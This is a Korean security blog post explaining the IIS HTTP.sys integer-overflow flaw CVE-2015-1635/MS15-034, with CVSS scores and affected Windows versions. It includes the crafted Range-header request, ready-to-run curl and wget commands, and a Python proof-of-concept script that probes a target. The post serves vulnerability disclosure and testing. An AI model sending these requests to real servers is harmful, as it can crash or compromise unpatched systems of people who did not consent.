| | at : |
Archive

HTTP.sys Remote Code Exploit(CVE-2015-1635/MS15-034) 취약점 하훌 rwxr-xr-x 0 5/13/2015



HTTP.sys Remote Code Exploit(CVE-2015-1635/MS15-034) 취약점

Permission rw-r--r--
Author 하훌
Date and Time 5/13/2015
Label
License 크리에이티브 커먼즈 라이선스


최근 이슈가 됬었던 MS 보안패치 중 HTTP.sys Remote Code Exploit(CVE-2015-1635/MS15-034) 에 대한 이야기가 있었습니다.
공격자가 HTTP 헤더를 조작하여 취약한 시스템에 이상을 발생시키는 취약점이며 윈도우 계열 서버인 IIS에서 가능하며, 어느정도 이슈가 있었던 것으로 보입니다.

HTTP.sys 는 HTTP 요청을 처리하는 커널 모드 드라이버이며 해당 부분에서 integer overflow 를 통해 원격코드 실행이나 블루스크린 유발이 가능합니다.

CVSS 점수 (version 2.0)

CVSS v2 Base Score: 10.0 (HIGH) (AV:N/AC:L/Au:N/C:C/I:C/A:C) (legend)
Impact Subscore: 10.0
Exploitability Subscore: 10.0
CVSS Version 2 Metrics:
Access Vector: Network exploitable
Access Complexity: Low
Authentication: Not required to exploit
Impact Type: Allows unauthorized disclosure of information; Allows unauthorized modification; Allows disruption of service

취약 버전

+ Configuration 1
+ OR
* cpe:/o:microsoft:windows_7::sp1:x64
* cpe:/o:microsoft:windows_7::sp1:x86
* cpe:/o:microsoft:windows_server_2008:r2:sp1
* cpe:/o:microsoft:windows_8:-::~~~~x64~
* cpe:/o:microsoft:windows_8:-::~~~~x86~
* cpe:/o:microsoft:windows_8.1:-:-:~-~-~-~x64~
* cpe:/o:microsoft:windows_8.1:-:-:~-~-~-~x86~
* cpe:/o:microsoft:windows_server_2012:-:gold
* cpe:/o:microsoft:windows_server_2012:r2:-:~-~datacenter~~~
* cpe:/o:microsoft:windows_server_2012:r2:-:~-~essentials~~~
* cpe:/o:microsoft:windows_server_2012:r2:-:~-~standard~~~

Vulnerability


GET / HTTP/1.1
Host: vuln host
Range: bytes=0-18446744073709551615

웹 요청 시 위와 같이 Range에 숫자 값을 주어 UlAdjustRangesToContentSize 부분에 오버 플로우를 발생시킵니다. 오버플로우 발생 시 UlAdjustRangesToContentSize에 대한
길이 체크 부분에 대해 우회가 가능합니다.

공격방법이 간단하기 때문에 간단하게 스크립트를 작성하거나, curl, wget 등을 이용하여 테스트가 가능합니다.
curl -v [ipaddress]/ -H "Host: test" -H "Range: bytes=0-18446744073709551615"
wget -O /dev/null --header="Range: 0-18446744073709551615" http://[ip address]/

Python POC(http://pastebin.com/ypURDPc4)
-----
import socket
import random

ipAddr = ""
hexAllFfff = "18446744073709551615"

req1 = "GET / HTTP/1.0\r\n\r\n"
req = "GET / HTTP/1.1\r\nHost: stuff\r\nRange: bytes=0-" + hexAllFfff + "\r\n\r\n"

print "[*] Audit Started"
client_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
client_socket.connect((ipAddr, 80))
client_socket.send(req1)
boringResp = client_socket.recv(1024)
if "Microsoft" not in boringResp:
                print "[*] Not IIS"
                exit(0)
client_socket.close()
client_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
client_socket.connect((ipAddr, 80))
client_socket.send(req)
goodResp = client_socket.recv(1024)
if "Requested Range Not Satisfiable" in goodResp:
                print "[!!] Looks VULN"
elif " The request has an invalid header name" in goodResp:
                print "[*] Looks Patched"
else:
                print "[*] Unexpected response, cannot discern patch status"



Share







HAHWUL
HACKING | PENETRATION-TEST | CODING
HACKERONE : GIT : 0DAY-TODAY : EXPLOIT-DB : PACKETSTORM
GOOGLE+ | HAHWUL@GMAIL.COM | TWITTER
WWW.HAHWUL.COM




0 개의 댓글:

댓글 쓰기